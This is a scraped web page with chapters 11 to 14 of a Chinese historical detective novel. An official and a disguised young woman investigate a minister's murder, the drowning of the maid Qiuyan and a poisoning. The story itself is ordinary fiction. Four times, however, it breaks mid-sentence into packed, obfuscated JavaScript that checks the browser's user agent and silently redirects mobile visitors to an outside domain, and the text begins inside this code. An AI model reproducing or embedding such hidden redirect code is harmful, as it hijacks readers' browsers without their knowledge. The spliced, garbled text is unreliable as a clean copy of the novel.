l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763194|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的理想。如今，大人枉死，却无一人敢言，昭音亦无话可说。望舅母珍重，告辞！”说着就站起身往外走。 “等等——”方夫人叹了一口气，道：“罢了。那日我见你和大理寺少卿大人走得近，可是他托你来的？” “多谢舅母，实不相瞒，我与少卿大人皆有此意。只要舅母点头，少卿大人此时就在门外。” “哦？那就请他们都进来吧。” 吴昭音作了作揖，随即拿出长箫，走到阁楼外一角吹了起来，不一会儿两条长长的队伍便迅速鱼贯而入，苏彦清带着余晖从中间走了进来，吴昭音也扶着方夫人下了楼。 苏彦清与吴昭音对视一眼，便心下了然，忙向方夫人拜道：“方夫人节哀，苏某今日叨扰，望您见谅。” “苏大人言重，府上的人和物，大人尽可查去，老身身有不适，就不奉陪了。”说着便转身独自上阁楼。 “多谢方夫人大义。”苏彦清又抱拳一拜，转身对一衙役使了使眼色，衙役赶紧领人四散。 “大人。”吴昭音取下腰间的长箫，又用手帕擦了擦递给了苏彦清。 “多谢武公子帮本官开了这方府的大门。” “大人客气，剩下的就看大人的了。” 说着二人便向灵堂走去。 灵堂内现在只剩余晖和几个守灵的家仆，四个衙役站在灵堂门口虎视眈眈地盯着。余晖掀开白布，隔着面巾都能闻到一股熟悉的焦味，他从鞘袋里拿出刀剪，守灵的仆人哭得更凶了，连带着他的太阳穴都跟着一起疼了起来。 余晖探了一下尸体的口鼻，依然如昨晚所查，接着又凑近看了看尸体的面目，发现其眼尾处有许多超出实际年龄的褶皱，用木棍轻戳就可以看到里面并没有烟灰。 突然，门口的脚步声响起…… 11. 骨肉相离 突然，门口的脚步声响起，余晖心知是苏吴二人，便头也不抬地继续查验。他解开了尸体的衣襟，这才发现尸体的肉色并没有昨晚看起来那么焦黑，部分未被焚毁的皮肤上依然有一些被灼伤的红斑和水泡。尤其是胸口的刀伤处，凝固的血块仍是泛红。而且这伤口位置，应该不会导致方大人立马毙命，他完全可以呼救。余晖拿出班尺，量了一下伤口，继而又拿出刀在尸体身上比划了几下，一家仆直接晕了过去。 余晖见状便朗声道：“两位老伯先回避一下吧。”苏彦清使了个眼色，门口的两名衙役将两位老家院搀扶下去。 “大人，这凶器可有找着？”余晖那边哼哼哧哧的解剖着，吴昭音也不忍看，靠在门背上捏着自己的袖口。 “没有。你可验出凶器的大小？”苏彦清倒是好奇地伸长了脖子。 “刃宽不足一寸，刃长不到两寸。大人可去厨房转转。” “好。走吧。”苏彦清转身又拉着吴昭音去了后厨。 路过厢房时，一少女趴在墙上呜呜啼哭，两三衙役立于一旁，低着头不知所措。 “发生何事？”苏彦清冷脸问衙役。 “我们还没开始找呢，她的什么玉就掉地上了。”衙役不敢看苏彦清。 少女扭过头，委屈地开腔：“他们打碎了我的东西。” 吴昭音定睛一看，发现原来是早上提水的少女，温声道：“姑娘可还记得我？”少女点了点头，昭音又问：“不知打碎了何物，能否一看？” 少女有霎时的迟疑，但还是将几块碎玉呈给了吴昭音。 “敢问姑娘芳名？”吴昭音浅笑道。 “秋燕。” “秋燕知归，姑娘的爹娘恐怕是盼着你早归呢。”说话间，吴昭音已将碎玉拼好，这才发现原是半块玉珏，望着十分眼熟，却怎么也想不起来。 “都怪本官手下冒失。”苏彦清说着便扯下腰间的冰花水苍玉佩，“本官这也是块好玉，日后拿去当了也能换几亩田宅。” 吴昭音随意瞟了一样，心头微微一怔。这五品以上的官员才能戴的佩玉，足够自己绣几个月了，这人居然说给就给。 少女眼睛红红地接过玉佩，神情却仍是怅然，闷声回道：“谢大人。” 忽然，一衙役从前院小跑过来，气喘吁吁地说：“大人，真的有血。按仵作的吩咐，我们在地上泼了白醋和浓酒，还真的有血。” “走，去看看。”苏彦清阔步向书房赶去，其他人紧随其后。 一进书房，只见火盆旁有一大滩血迹从地面沁了出来，其中有两三滴的圆形血迹向书房侧门方向沿去。 “这应是从凶器上滴落下的。”苏彦清抬头问衙役，“陈聘，可问清楚是几时起的火？谁在起火前进过书房？” 陈聘挠了挠头道：“大概是酉时，当时正在用晚饭，大人称公务繁忙，便早早地回了书房，没人注意到谁进来了，不过最先开门救火的是方夫人。” 苏彦清诧异道：“方夫人？” “是。” “凶器找着了吗？”余晖单手拽着后背的包袱向书房走来。 “去的路上耽搁了。”苏彦清顺着血迹的方向往侧门走。 “怎么就这么点血？”余晖用眼扫了一下地上道。 吴昭音也顺着侧门走了出去，朝四周望了望。这侧门竟可通达下人们的卧室，每个人似乎都有嫌疑，可会是谁呢？ 陈聘抱着剑琢磨道：“我们会不会被误导了，也许方大人没有包庇，是凶手太高明了呢？” 余晖摇了摇头道：“不可能，如若昨日只是怀疑，那今日几乎可以肯定，况且这地上的血痕丝毫没有拖拽痕迹，凶手若真是一心毁尸，大可把火燃地更旺一些。” “那会不会是来不及毁尸呢？”陈聘左右看了看，小声地说：“我觉得那个方夫人有些可疑，她对我们一直不闻不问，刚刚听人说她最近对下人也没有往日和善了，尤其是对丫鬟，说等老爷一入土就把她们赶出去。而且她可是第一个目击火场的，你们说呢？” 夫人，丫鬟？吴昭音苦想了许久，终于想起那玉佩了，拉着苏彦清的袖子念叨：“方夫人的妆奁里。对，那玉珏，方夫人也有一块。” 苏彦清看看昭音的手，温声道：“你是说秋燕的玉珏？” 吴昭音点点头。忽然，一衙役赶到苏彦清身旁耳语了几句，苏彦清眸色微动…… 半日后。 当夜亥时，方府内万籁俱寂。 “你说可笑不可笑，堂堂的少卿大人居然也有破不了的案。”一小厮一边烧着纸钱，一边说道。 “道高一尺，魔高一丈，遇到高手了呗。”另一小厮跪直了身子伸了伸懒腰。 “狗屁高手，我听说咱老爷认识那凶手，这场火就是大人自己伪造的。” “自己烧自己？” “是啊，不然少卿大人怎么没招了，也不知道是哪个没心肝的，唉。” “你还是先可怜可怜我们自己吧，还有三四个时辰才天亮呢，我又困肚子又疼，不行，我去如厕了。” “你别呀，我一个人怕。” “你以为我不怕吗？要不你先陪我。” “行，反正大人已经死了，我们走。”两小厮关了堂门，互相搀扶着朝茅厕方向走去。 两人刚一离开，却有一条黑影悄无声息地向灵堂靠过来，来人轻轻地推开门扫了一眼屋内，屋内烛火闪烁，大片大片垂地的孝布在风中飘荡，白得醒目。 来人站在堂前没有丝毫地停留，随手举起烛台向棺木走去，口中低声道：“不要怪我，父亲，听说你不想我死对吗，那你就再帮帮我吧……”火焰在白布上开始缓缓地蔓延，在那火舌的光快要映到那人脸上时，尸体忽然坐了起来，朝着来人瞪大了双眼，雪白的眼球在焦黑的眼眶里一动不动，在昏黄的烛光下格外扎眼。 来人惊叫了一声，疾步冲出了灵堂。忽然两柄长剑冰冷地搭在了来人的肩上，不速之客双腿一软，摊在了冰冷的地面上，叫人看不清楚神色。蓦地，只见院子周围亮起数盏烛火，灵堂内举着烛台的人从暗处一一走出，暗夜来客举目一望，原来是少卿大人。刚才的“焦尸”也走了出来，大骂道：“小妮子，差点烧死老子。” 苏彦清皱着眉头定定地盯了女人一眼，对手下吩咐道：“抓起来！就地升堂。” 午夜的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763195|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府大门紧闭，大堂内却灯火通明，两三衙役分列两侧。 堂上苏彦清一身绯色官服，俊眉紧蹙，冷脸沉声道：“堂下秋燕，本官问你，你来方府不到两年，方家的老爷夫人待你如何？你为何要对方大人痛下杀手？” 秋燕匍匐在地上一个劲地磕头道：“大人冤枉。我怎么会杀害老爷呢，老爷夫人待我恩重如山，您不可空口无凭呀？” 苏彦清眼眸微眯：“你当本官真的没有证据吗？” 一旁的“焦尸”不耐烦道：“装什么呢？你刚刚差点烧死我。” “余晖！”苏彦清轻喝了一声。余晖赶紧闭上了嘴。 “大人误会了，我方才只是想看一眼方大人，谁知一不小心竟引火上身。”秋燕说着还抹了抹眼泪。 “那你白日里为何不去看方大人呢？”角落里传来一个冰冷的声音。众人循声一看，原来是一身素衣的武公子。“秋燕姑娘可是对方大人——有什么难以启齿的感情，故而才只敢在夜里偷偷窥看吗？” “我没有！” “你看这是什么？”吴昭音捻起两根细索，一块剔透的玉珏在下端来回摆动。 “秋燕不知。”秋燕瞟了一眼，又低下了头。 “你不是也有一块吗？我看你对它心疼得紧。你可知道方夫人也有一块？”说完，吴昭音将玉轻轻地放在秋燕的手上。 “我不知道夫人也有此玉。我这块是我娘留给我的。”说着就要把那块玉还回去。 “你娘可是叫聂秋华？”堂上的苏彦清从案上的版籍卷册中抬眼道。 “大人如何知道？”秋燕手上的动作一顿，眼中闪过一丝暗色。 苏彦清站了起来，缓缓踱步道：“十五年前，有一位大臣为拉拢新科进士，便借以聚会之机在他们的酒中下了药，然后再让府内的丫鬟诱其就范。方大人正是入席的举子之一，届时他正与其妻新婚燕尔，方大人自知愧对妻子，愧对天地，欲一死了之。幸而方夫人查明缘由，谅其苦衷，将其救下，此事也便不了了之。不过后来，听闻那个丫鬟不堪阎府折辱，逃了出来，并且生下了一名女婴，这个丫鬟正是你的母亲聂秋华。” “不是的。不是的！我娘是被赶出来的。”秋燕不停地摇头。 苏彦清走到秋燕面前，将卷册翻了翻，又递给她道：“这页版籍上记载了你娘何时入的阎府，又是何时失踪的。” “不是的。我娘没有失踪，是方鹤堂，他对我娘始乱终弃，我亲眼看着我娘被方府的人赶下了山崖，方鹤堂才是杀人凶手。”秋燕从怀里掏出破碎的玉珏，将其与另一块拼到了一起喃喃道：“是他负了我娘。” 望着秋燕失魂落魄的样子，吴昭音心头微微一颤：方夫人膝下无子，若非此事，想必眼前这位迟早是方府的小姐，亦是自己的妹妹。 苏彦清回到座位上叹了口气：“这玉珏是方大人与其夫人的定情信物，是你娘把它的捡走了，你们母女确实可怜，但你万不该杀了自己的亲生父亲。” 秋燕颤巍巍地爬了起来，合上了版籍，忽然猛地向门口跑去，众人忙追，可惜遮月的黑云之下伸手不见五指，竟一个人影都没有了…… …… 12. 秋燕难归 两个时辰前。 方府灵堂二楼。 苏彦清躺在赤藤摇椅上闭目道：“今夜会有人来吗？”他一边说一边裹了裹身上的银裘披风。 许是在漆黑之处待久了，即使无灯无月，吴昭音也能看得清一身官服的苏彦清——红衣，银缎，如墨的眉睫，刀削的侧影。 见昭音没有搭腔，苏彦清亦掀起眼皮看了她一眼，通身月白，青丝如绢，神色悲悯，活像个玉面观音。 良久，吴昭音答道：“当下大家都以为此案明日就提交三司了，届时三法司会审，刑部和御史台都要插手，今晚是凶手潜逃或毁尸的最后时机。” 微风习习，一阵熟悉的花香飘来，苏彦清再次闭上了眼睛。“谁会来呢?方夫人、秋燕，还是另有他人？” “无论来者是谁，总归是条线索。”吴昭音的声音轻颤，此刻在她心里，不希望是任何人。 “你冷吗?”苏颜清说着就把披风往吴昭音身上盖，尽管她说不冷。 苏颜清叹了口气:“唉，若非那玉珏，谁能料到方大人还有个女儿。不过，你如何猜到秋燕是厨娘的?” 吴昭音摩挲着手上的玉珏,“一开始，我只觉她特别，一个堂前的端水丫鬟，寡言少语，腼腆羞怯，不喜于色，臂力倒是惊人。若我没有记错的话，她的左臂应比右臂结实，她既非左利手，那便可能做过厨娘。” 苏彦清问道：“这是为何？” “大多厨子常以左臂掌勺，年岁久了便会左臂粗于右臂。” “原来如此。”苏颜清又睁眼瞥了一下发呆的昭音，“所以——加上衙役捡到的这个，你是不是怀疑秋燕更多一些?”苏颜清从怀里掏出了一把小刀，又道:“虽然有人见她使过，但她并没承认。” 昭音接过小刀，拔出刀鞘，悠悠道:“余晖说整个府里找不到比这更吻合凶器特点的刀了，偏偏又是在水缸下面找着的，位置太奇怪了。这刀是酒馆食肆里专门给食材雕花的，方府的厨子从来不用这些，一般人不会触及。当然，太多巧合了，我也不希望是她。” 苏彦清坐直了身子道：“但若真的是她，方鹤堂的袒护也并不奇怪，只是可怜这拳拳的护女之心了。” “可能马上就有答案了，嘘，我们等的人来了。” …… 谁也没料到，一夜的搜寻过后，找到的竟是秋燕冰冷的尸体。 天还没亮的时候，有小厮在府内的水井旁捡到了一对玉珏，接着就发现了井内的秋燕。衙役们慌乱地将人打捞了上来，却发现早就没了呼吸。 秋燕的一双眼睛睁得大大的，一张小嘴也微张着，似乎有什么话要说。 从怀疑她到她溺水，不过几个时辰尔，但这一切对方夫人而言，如梦若幻。 望着陈列在方家灵堂上的两具棺材，吴昭音心里也五味杂陈，她开始怀疑自己，这样执意地追查是否真的正确，为何清醒如方家夫妇却也难逃命运的百般捉弄，究竟哪里出了问题？ 同样的问题也困扰着苏彦清，可他现在却无力招架。为了几桩案子，他已多日没回苏府了，苏淳礼不得不来大理寺逮人，一等就是一夜。 “你昨晚去哪了？”苏淳礼吹着杯子里的茶幽幽道。 不待苏彦清张嘴，寺丞大人忙开腔：“御史大人，咱们少卿大人为了查案，可谓是常常夜不归宿，日日旰食宵衣呢。想必又是去哪里查案去了。” 苏淳礼斜眼瞥了一眼苏彦清道：“别人说你是为了不回家才来的大理寺，现在看来一点也不假。” “怎么会呢舅父。” 苏淳礼挠了挠眉心：“听说你昨日强行给方鹤堂验尸了？” 寺丞谄笑道：“是啊御史大人，少卿大人足智多谋，想必已经查出真凶了吧。” 苏彦清心想这老狐狸真是惹人嫌，但脸上仍礼貌一笑：“确实查出来了——一些蛛丝马迹。” 寺丞闻言笑色微敛，苏彦清忍不住白了他一眼。苏淳礼将二人表情尽收眼底，不动声色地垂眸喝茶，可嘴唇刚一碰水就皱眉弹开了。苏彦清连忙将茶端过去吹了吹，寺丞大人喝令一旁的衙役道：“还不给御史大人换壶好茶来，烫着大人啦。” 苏淳礼挥手道：“不必了。” 苏彦清像突然想起什么似的，从桌子上拿起一纸袋道：“西街的烧饼，您要不尝尝。” “谁吃你的烧饼，我待会还要进宫。罢了罢了，听说你几日没合眼了，现在也不是发落你的时候，赶紧去歇息吧。” “多谢舅父。” “另外，你舅母托我捎句话，再过几日就是上元节了，届时记得回家一趟，不然咱爷俩都别好过。” 苏彦清会意地连连点头，忙将苏淳礼送了出去。 望着苏淳礼的背影走远，寺丞小声问道：“苏大人昨晚可真的查出什么了吗？苏大人！少卿大人……” 苏彦清微微一笑，转身回了少卿堂，丝毫没有理会身后寺丞的叫唤。可当他坐回书案前时，双眉又蹙成了一团。 秋燕是找着了，但是她怎会真的弑父杀亲呢？聂秋华是被赶下山崖的，那伙人到底是谁？聂秋华不堪成为筹码，舍命出逃，她应该不会错教女儿寻仇，那是谁推动了这一切呢？ 苏彦清一边想着一边喝着茶，不一会儿就陷入了梦境…… “舅父，你放我出去，彦清求求你了。”少年红肿着双眼，拍打着房门，似是哭了多时。 门外人他叹了口气道：“我知道你是个重情重义的好孩子，但你可知若你今天出了这个临安城，咱们整个苏府都要陪葬，你不要糊涂啊。” “舅父，我就去看看她，就看一眼。”少年哑着嗓子，门外人没有回应。少年又绝望地看了看窗户，转身猛地摔碎了瓷盏。 门外人焦急道：“你干嘛，苏彦清！你别那么没出息，人家还活着呢，你倒先上赶着去送死了。男子汉大丈夫，顶天立地，亏你读了那么多圣贤书，想救人先自救，你不要让舅父看不起……” 少年无奈地颓坐在床边，抱膝痛哭，手中攥着的白瓷因用力而淌出猩红的血来…… “苏大人，快醒醒——” “大人这是怎么了？” “快按住大人——” 苏彦清清醒过来的时候，面色潮红，双目含泪，双手被衙役们死死的箍着，指尖还滴着血，大家见他确实醒了才敢松开。 许是没见过少卿大人如此狼狈，衙役们一个个面色惶窘，好像刚刚发狂失态的是他们自个儿一样。 “让一让，麻烦让一让。”吴昭音从人群中挤进来，端着一小碗黑水道：“大人，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763196|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水可以解你的毒，快喝了它。 陈聘红着脸阻拦道：“这什么呀就让大人喝。黑糊糊的。” “木炭啊。”吴昭音一脸认真。 “木炭？”众人惊讶道。 “对，你们大人中毒了，再不喝就来不及了，来张嘴。”吴昭音说着就要往苏彦清嘴里喂。 陈聘一把接过碗道：“哪里有毒？就算中毒了，万一你这个毒性更大呢。大人可能只是累着了做噩梦呢。对吧大人。” “那大人梦到什么了？”吴昭音语气有些焦急。 “我，我梦到——”苏彦清也不清楚自己梦到的是什么，准确来说感觉不是梦，因为心底的痛苦那么地真切，好像经历过似的，更像是回忆，或者是…… “是幻觉对么？”吴昭音盯着苏彦清的眼睛柔声道。 苏彦清咬咬牙，将黑水端过来一饮而尽，吴昭音露出不易察觉的微笑。 “大人！”众衙役们担心地疾呼。 “茅根和甘蔗，都买回来了。”余晖气喘吁吁地跑进堂来。 陈聘朝一旁的小衙役使了使眼色，小衙役一声不吭地过来抢余晖手上的药，余晖偏着身子一躲道：“干啥？” “去煎药呀。”陈聘说着就自己上手拿过药。 吴昭音眼眸一弯，轻轻笑道：“方才陈大哥如此不信我，为何现在——” 陈聘懒懒道：“刚刚那么难喝的东西，大人都喝下了，我还能奈你何？”说罢就大步离开了。 苏彦清擦了擦手上血，波澜不惊道：“大家都散了吧。” “散了散了，都散了。”余晖把衙役们都赶了出去，轻轻关上了门。 苏彦清虚弱地倚在椅背上，温声道“武贤弟请坐。” 吴昭音并没有坐下来，反而蹲下身来，从地上拾起一个破碎的瓷杯：“大人是不是要问我中毒的事？” “嗯。” “大人刚刚是不是喝了这杯茶？”吴昭音将碎瓷放在了桌上，又道，“这杯壁上沾着胡茄花。” 苏彦清拿起瓷片看了两眼，启唇道：“胡茄花？” “对，胡茄花盛产于东南之地，它全株都有毒，尤其是籽，少量使用能止咳镇痛，但过量了便会使人眩晕头痛，出现谵语、幻觉、甚至昏迷至死。” 苏彦清一脸惊愕。 吴昭音又问道：“大人可还记得谁碰过这水？” 苏彦清稍加回忆道：“我舅父，他定不会害我。不过，这水是寺丞大人命人倒的。” “那大人就要小心此人了。” 苏彦清扶额沉默了半晌，良久才开腔道：“诶？武贤弟不是在方府吗，怎么会在这里？” 吴昭音肩膀一沉，“你走后，我为秋燕更衣入殓，发现了一件怪事。” “哦？什么怪事。”苏彦清闻言坐直了身子，略显惶然。 “昨日我们在方府守了一天，并未见到秋燕跟人拌嘴打闹过，但她尸体后脖处出现了淤伤，许是刚捞上来时看不分明，时间久了愈加明显。” 苏彦清闻言一怔：“伤口可有破损？色泽如何？” “没有破损，伤痕色泽鲜红。从她沉井的位置来看，也不可能是磕到了，倒像是——被人打了。” 一声脆响，苏彦清指尖的瓷片乍然落地…… 13. 黄雀难寻 等苏彦清一行人赶至方府时，已过了巳时。经过余晖的一番查验，这才发现秋燕不仅有腹部膨胀，口鼻处有水沫等溺水症状，而且她后脖处和手指间也有淤伤，很像是先被人一掌劈晕，再投入了井中。 苏彦清脸色阴沉地听着余晖的陈述，额头青筋暴起。忽然一衙役来报，清早有一名老家院出府置办香纸，快到两个时辰了还没回来。衙役们在他房里还搜出了苏彦清的水苍玉，据说其他丫鬟还曾见到过秋燕从老家院身旁哭着跑开。 苏彦清遂让衙役带几个家仆到方老爷书房，依着他们的描述，将有嫌疑的家院王二画了出来。家仆们望着画像吃惊地张着嘴，忍不住啧啧称奇，“这画得也忒像了，大人不仅断案如神，画也画得这么好，真是妙笔呀！”吴昭音能感受到几位家仆的夸赞皆是发自肺腑，但苏彦清的脸色却并不好。 倘若放在以前，苏彦清定是微微一笑，淡然处之。可近来他却屡让真凶在自己眼皮子底下脱逃，内心不禁愧怍难当，连连摆手道：“带他们下去吧。”又转身对陈聘道：“带着这个画像去找，再派几个人去各城门，以大理寺的名义知会他们有重要嫌犯在逃，务必对所有进出城门者严加盘查。凡无身份文牒或身份可疑者，无论他们拿的是何印信凭证，一律不得出城。顺便再摸一摸这个王二的底细，看他之前在哪里谋过事。” “是。大人，还有一事，那个琴师出现了，在江南西路吉水县内。” “吉水县？”吴昭音觉得这个地名耳熟，脱口而出道。 “怎么？武贤弟去过？”苏彦清看向吴昭音。 “哦，我——许是来京途中遇到过吧。那里有个缘来客栈甚是特别，陈大哥可留意一番。” “武公子还是不要老大哥大哥的了，少卿大人喊你贤弟，你又喊我大哥。”陈聘挠着脑袋不好意思地笑了笑，又道：“我只是长得显老，也没比大人长几岁，以后就唤我陈聘吧。” 苏彦清望着身侧之人又陷入好奇之中：这人真的只是方鹤堂的一个普通远亲吗？近日忙于断案，不曾仔细琢磨。如今看来这位武公子不仅深谙医术、精通琴瑟，还心细如发，从其不卑不亢，谦和有礼的谈吐举止来看颇有世家公子的气度，但其经历又着实令人好奇。 许是注意到了苏彦清的目光，吴昭音浅笑道：“大人，既然如此，兆荫还有些私事，今日就此别过了。” “上次说的事情，武贤弟真的不考虑一下吗？” 吴昭音脑筋一转，心里估摸着是劝她科考之事，莞尔一笑道：“大人，告辞了。” 吴昭音走出方府时，珠儿已在外等候多时。 “小姐，怎么样？抓到真凶没？”珠儿急切道。 吴昭音用眼瞟了一下四周，嗔了珠儿一眼道：“回去再说，你又喊小姐。” “那这事如果成了，我们就能跟苏大人伸冤啦。”珠儿边走边念叨着，突然撞上了停步的吴昭音。 两人抬头望去，一个硕大的招牌上赫然写着:“诚聘绣娘。”，再一瞧店名——“席春阁”。要说她们主仆二人在这铺子门前没有走过千遍，也有百遍了，倒是没想到里面居然是个布坊。 “公子，要不咱进去瞧瞧？” 吴家主仆二人一前一后踏进了席春阁，一位身披紫色蝶恋芍药花边长褙子，腰系粉纱百迭裙的年轻女子热情的迎了上来，她头上挽着螺髻，鬓边插着金竹叶连二钗，远远望去就像那画中的仙娥一般。 年轻女子仔细地打量着吴昭音，暗想好清秀的公子，柔声问道：“两位公子可是来选货的？” “哦不是，我们来谋个差事。”吴昭音一边搭着腔一边环视着四周:苏绣的通景四条屏、蜀绣的芙蓉双鲤灯面、湘绣的猛虎壁画……光是这些装饰玩意儿就足见格调，这恐怕是全临安城数一数二的布坊了。 年轻女子轻笑道:“可我们席春阁只招绣娘，我看你们——” “那你可收绣品?正经的粤绣。”珠儿说着就从包裹里拿出几个绣囊道:“这是我今天拿到街上没卖完的，都是家姐绣的。” 年轻女子拿起绣囊看了两眼道:“没卖完的都有这等成色，确实不错。”说着便从柜子里拿出了几副绣样道，“那就麻烦你将这些带给你们的家姐，我三日后派人去你家取。” “小姐客气了，届时我们会自己送过来，不知小姐贵姓？”吴昭音忙道。 “好，这是布料。”年轻女子将布匹递给了吴昭音，又道:“小女姓花，单名一个蓉字，” “可是芙蓉之蓉？” “正是。” “真是人如其名啊。在下姓武名兆荫，今日还有他事，就不叨扰了。” 花蓉含羞一笑，见两位公子没有逗留之意，便将二人送出门去。 “公子，你为何如此急着要走，咱们还没谈价钱呢？”珠儿将布匹接过放进了包裹里。 “你瞧她们的铺子，只要绣好了，定然不让咱吃亏，只是我太乏了。”吴昭音打了一个哈欠，与珠儿快步往家里赶去。 方鹤堂出殡的前一天，陈聘终于带来了王二的消息。 “大人，找到三二了。” “带上来。” 陈聘低着头，抬了一眼道：“他已经死了。” “又死了！”苏彦清忽的从椅子上站起来，“怎么死的？死在何处？” “是被人活活掐死的。听他投宿的客栈掌柜说，他身上还带了很多钱，可找到他尸体的时候，他身上连张纸都没有。另外，你猜他之前在哪个府上办事？”见苏彦清紧皱着眉头，赶紧补充道：“是阎府。” 苏彦清瞳孔微缩，狐疑道：“阎甫申？” “不是，是阎相的父亲阎涉。” “那也差不多。你说他带了很多钱？是什么钱？” “铜币，可能还有金条。” 苏彦清若有所思地缓缓坐下：“那就奇怪了，如今国库空虚，朝廷为了向民间征粮，加印纸钞。等到年终纳税时，又不让百姓用纸钞，故而造成纸钞泛滥，普通百姓根本不可能有如此多的铜币，更不用说金银了。” “所以，这些钱来历不明的钱是哪儿来的呢？他杀秋燕干嘛？”陈聘抱胸托腮道。 苏彦清把玩着手上的水苍玉道：“兴许是他教唆秋燕行刺所领到的赏钱，可惜他现在又死无对证了。” “都怪属下失职。”陈聘颔首举剑道。 “怎么？负荆请罪，要我在你背上刺字？“苏彦清拍拍陈聘的肩膀道：“凶手在暗，我们在明，你已经尽力了。倒是本官后知后觉，让凶手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763197|174476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钻了空子。” “大人有旧疾在身，近日夜不能寐，还中了毒——” 苏彦清打断道：“你看你又来，老陈啊老陈，你别以为我准你从舅父那儿过来是为了听你替他唠叨，我是看你胆大心细，为人耿介。”陈聘摸摸后脑勺道：“怎么感觉大人好像在夸我。” “行了，你还没说那王二死在哪。” “嗯——在哪个——嗯——一条没有名字的小道上。”陈聘结结巴巴不知道如何形容。 “荒山野岭？” “倒也不是。”陈聘突然一拍脑瓜，跑到贴着临安城舆图的墙下，指着一处道：“就这，这王二明显就是做贼心虚，专挑了一条难走的小路。” 苏彦清踱步到舆图下，望着陈聘所指之处道：“此处地形险峻，四周两里地内都无人居住，下面还是条险滩，不过——”苏彦清用手指顺着那处周围画了一圈道：“这里有个岔路指向了径山寺。” “陈聘踮着脚，朝着那一处一会瞪眼，一会眯眼：“大人，这哪里写了径山寺啊？” “这图是我自己画的，我知道就行。”苏彦清漫不经心地回到案前，翻了翻卷宗，又道：“去把这个人提出来，我有事要交代。” 陈聘看了一眼卷宗，一脸疑惑地走了出去，不到一盏茶的功夫又拎着一个一瘸一拐的年轻人进来了。 年轻人一见苏彦清就一手捂着挨了板子的屁股，一手撑着地面磕头道：“大人，小的再也不敢偷东西了，再也不敢了。” 苏彦清走到年轻人跟前，似笑非笑道：“余江，现在有个戴罪立功的机会，你若做得好，本官立马放你回去。” 余江也不知苏彦清葫芦里卖的什么药，只知道他苏彦清的门向来是好进不好出，哆哆嗦嗦道：“不知大人有何吩咐？” “你去径山寺帮我查个人？” “什么人？” “死人。” “啊！大人，余江胆子小，偷东西都不敢偷贵重的，我可不敢查死人啊。” 陈聘虎着脸道：“那死人早就抬回大理寺啦，大人是叫你去查查他怎么死的。” 余江一副原来如此的表情：“哦，不知那人姓氏名谁？” 苏彦清喝了一口茶道：“此人名唤王二，本是一名凶犯，他走到径山寺附近突然失踪，你去看看寺里有没有什么线索。” “那我如何在那里留下来呢？” 苏彦清微微抬眸，噙着笑意道，“你就说你偷了东西，被大理寺痛打了一顿，现在洗心革面要出家。” “啊？身体发肤受之父母，若我真的被剃度了怎么办？”余江捂着头一脸痛苦。 陈聘一脸恨铁不成钢的样子：“不然你怎么笨到第一次偷东西就被抓呢，你不会跑吗？” 苏彦清忽然正色道：“你若想要早日下山，就早点看出点究竟来。本官等着你的好消息。” 陈聘凑近余江，撞了一下他的腰说：“说不定还能领赏。” 余江屁股疼得直咧嘴：“那好吧。” 望着余江一扭一扭地走出了大理寺，陈聘望着苏彦清道:“大人，让他一个人去行么？” 苏彦清沉默半晌，忽又勾了勾唇，对陈聘道：“去苏府向我表兄传个话，明日我要陪他去径山寺。” 14. 古寺风波 翌日便是上元节，百姓们求福拜佛的好日子，苏彦清跟着苏应中一起上了径山。 “你可从来不信这些的，今日真是怪了。”苏应中一脸不解道。 “怎么？你都快参禅悟道了，我连佛门都不能进？我可听说这径山上的梅花，在整个临安都是数一数二的。” 苏应中白了苏彦清一眼，“恐怕没那么简单吧，听说阎相今天也来庙里，你可别再招惹他。” “哦？那倒是巧了。听说那阎相还在这庙里建了一个醉月阁，不知今日可有福瞻赏。”苏彦清说着说着便闻到了一股熟悉的花香，他循着香气扭过头，一个头戴素纱帷帽的女香客从面前走过。这女子身着萱花缠枝花罗褙子，牙白色的百迭裙下莲步轻移，身后还跟着一个面善的小丫头。 苏应中用手在苏彦清眼前晃了晃，噗嗤一笑道：“诶，老弟，你也有被迷了眼的时候。” 苏彦清拉着苏应中忙问道：“大哥，你可闻到什么香味？” “闻到了，凤仙花。怎么？” “没什么，只是最近总闻到这个香气。” “总闻到？怎么可能，这凤仙花夏天才开，许是方才那女子的脂粉里带了一味而已。” 苏彦清心想许是错觉吧，可等回过神来那凤仙姑娘早已不见，倒是能看到一群群香客正垂头丧气地往山下走。 “莫不是主持今日闭关，寺门又不开了？”苏应中自言自语道。 